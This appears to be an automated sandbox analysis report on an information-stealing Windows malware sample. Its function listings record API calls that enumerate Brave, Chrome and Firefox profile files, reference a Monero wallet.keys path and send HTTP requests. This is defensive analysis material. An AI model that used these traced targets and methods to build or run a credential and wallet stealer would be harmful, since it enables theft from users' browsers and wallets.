Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 5a3e9633729bcc891279183e6731d85cf90429b8333b214e124eaba5519eeece
Instruction ID: 499b901180616a43fcdecf03db71c39a0d3a1022754b594b7b680a2d0037de3b
Opcode Fuzzy Hash: 5a3e9633729bcc891279183e6731d85cf90429b8333b214e124eaba5519eeece
Instruction Fuzzy Hash: B941D2A07C7708EFBF25FBEC984EA9D76539F46704B605050AC2692285C6F09A0CCA37

Function 00D7BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

FindFirstFileA.KERNEL32(00000000,?,00D90B32,00D90B2B,00000000,?,?,?,00D913F4,00D90B2A), ref: 00D7BEF5
StrCmpCA.SHLWAPI(?,00D913F8), ref: 00D7BF4D
StrCmpCA.SHLWAPI(?,00D913FC), ref: 00D7BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00D7C7BF
FindClose.KERNEL32(000000FF), ref: 00D7C7D1

Strings

Preferences, xrefs: 00D7C11E
Brave, xrefs: 00D7C102
\Brave\Preferences, xrefs: 00D7C1DB
Google Chrome, xrefs: 00D7C634

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: de19ae5513795fe6cfb1eacd427e6baa4e99e532ee767a3d9f1f8b9d4b41a201
Instruction ID: 160080db2a10bd90ac5093dddd1be37dbe7090b04554b4a074aa1295c9a7f18c
Opcode Fuzzy Hash: de19ae5513795fe6cfb1eacd427e6baa4e99e532ee767a3d9f1f8b9d4b41a201
Instruction Fuzzy Hash: E5425372910118ABDB14FB74DD96EED737CEF94300F408559F50AA6181EE38AB49CBB2

Function 6CEC35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CF4F688,00001000), ref: 6CEC35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CEC35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CEC35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CEC363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CEC369F
__aulldiv.LIBCMT ref: 6CEC36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CEC3773
EnterCriticalSection.KERNEL32(6CF4F688), ref: 6CEC377E
LeaveCriticalSection.KERNEL32(6CF4F688), ref: 6CEC37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CEC37C4
EnterCriticalSection.KERNEL32(6CF4F688), ref: 6CEC37CB
LeaveCriticalSection.KERNEL32(6CF4F688), ref: 6CEC3801
__aulldiv.LIBCMT ref: 6CEC3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CEC3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CEC3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CEC394C

Strings

GenuntelineI, xrefs: 6CEC3639
MOZ_TIMESTAMP_MODE, xrefs: 6CEC35DB
GTC, xrefs: 6CEC3912
AuthcAMDenti, xrefs: 6CEC3946
QPC, xrefs: 6CEC38FC

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: b30d62fe098590fb2113753bbe6b2e80107afb0b218a96fddbabae55826ef16c
Instruction ID: 4ea1fd8bdbd94c8245c665f3497fb82b074711b911ee53be4af407d967bc564b
Opcode Fuzzy Hash: b30d62fe098590fb2113753bbe6b2e80107afb0b218a96fddbabae55826ef16c
Instruction Fuzzy Hash: 05B1C471F153109FDB88EF28C54475ABBF5BB9A708F14C92DE899D3792D73099018B82

Function 00D84910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00D8492C
FindFirstFileA.KERNEL32(?,?), ref: 00D84943
StrCmpCA.SHLWAPI(?,00D90FDC), ref: 00D84971
StrCmpCA.SHLWAPI(?,00D90FE0), ref: 00D84987
FindNextFileA.KERNEL32(000000FF,?), ref: 00D84B7D
FindClose.KERNEL32(000000FF), ref: 00D84B92

Strings

%s\%s, xrefs: 00D849FB
%s\%s, xrefs: 00D849A4
%s\*, xrefs: 00D84920

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 5ded8c0b16eaf1e30c133cd9151d9fb3c1b7a261ca81aead2764ce17733d48ce
Instruction ID: ec7eb29d4defad2c4ad5092b939b5b4b25f5f2f283723e2986f380b278b0e7f5
Opcode Fuzzy Hash: 5ded8c0b16eaf1e30c133cd9151d9fb3c1b7a261ca81aead2764ce17733d48ce
Instruction Fuzzy Hash: 056125B1900219AFCB24FFA4DC85EEA777CFB48701F048688E60996141EB75EB459FB1

Function 00D74880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D74839
Part of subcall function 00D747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D74849

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D74915
StrCmpCA.SHLWAPI(?,01B0F3D8), ref: 00D7493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D74ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00D90DDB,00000000,?,?,00000000,?,",00000000,?,01B0F468), ref: 00D74DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D74E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D74E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D74E49
InternetCloseHandle.WININET(00000000), ref: 00D74EAD
InternetCloseHandle.WININET(00000000), ref: 00D74EC5
HttpOpenRequestA.WININET(00000000,01B0F398,?,01B0EA68,00000000,00000000,00400100,00000000), ref: 00D74B15

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

InternetCloseHandle.WININET(00000000), ref: 00D74ECF

Strings

", xrefs: 00D74BF2
------, xrefs: 00D74C69
------, xrefs: 00D749BD
------, xrefs: 00D74B28
", xrefs: 00D74D33

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: fd34b52e5acba8af4d326566545a2f72e9db7ed06e0a1dcd6197197ef4eb136d
Instruction ID: 567848d299a5c2aedfbd4bd5b972c3d590eb7bb0969650f48dee9943848c85be
Opcode Fuzzy Hash: fd34b52e5acba8af4d326566545a2f72e9db7ed06e0a1dcd6197197ef4eb136d
Instruction Fuzzy Hash: 8D129772910128AAEB15FB94DD92FEEB778EF14300F50419AB10662491EF746F4ACF72

Function 00D83EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D83EC3
FindFirstFileA.KERNEL32(?,?), ref: 00D83EDA
StrCmpCA.SHLWAPI(?,00D90FAC), ref: 00D83F08
StrCmpCA.SHLWAPI(?,00D90FB0), ref: 00D83F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00D8406C
FindClose.KERNEL32(000000FF), ref: 00D84081

Strings

%s\%s, xrefs: 00D83EB7

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 110a473266f07b5004e7df70431e1306c6a437a08a4032a599f68a46b6817c26
Instruction ID: 72313c82516548fcef47b7e820996deba86aa450ab7ea25d21f9dfa02c66a9ef
Opcode Fuzzy Hash: 110a473266f07b5004e7df70431e1306c6a437a08a4032a599f68a46b6817c26
Instruction Fuzzy Hash: 495134B2900218ABCB24FBB4DC85EEA737CFF44700F444689B65996040EB75DB899FB1

Function 00D7F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D915B8,00D90D96), ref: 00D7F71E
StrCmpCA.SHLWAPI(?,00D915BC), ref: 00D7F76F
StrCmpCA.SHLWAPI(?,00D915C0), ref: 00D7F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00D7FAB1
FindClose.KERNEL32(000000FF), ref: 00D7FAC3

Strings

prefs.js, xrefs: 00D7F812

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
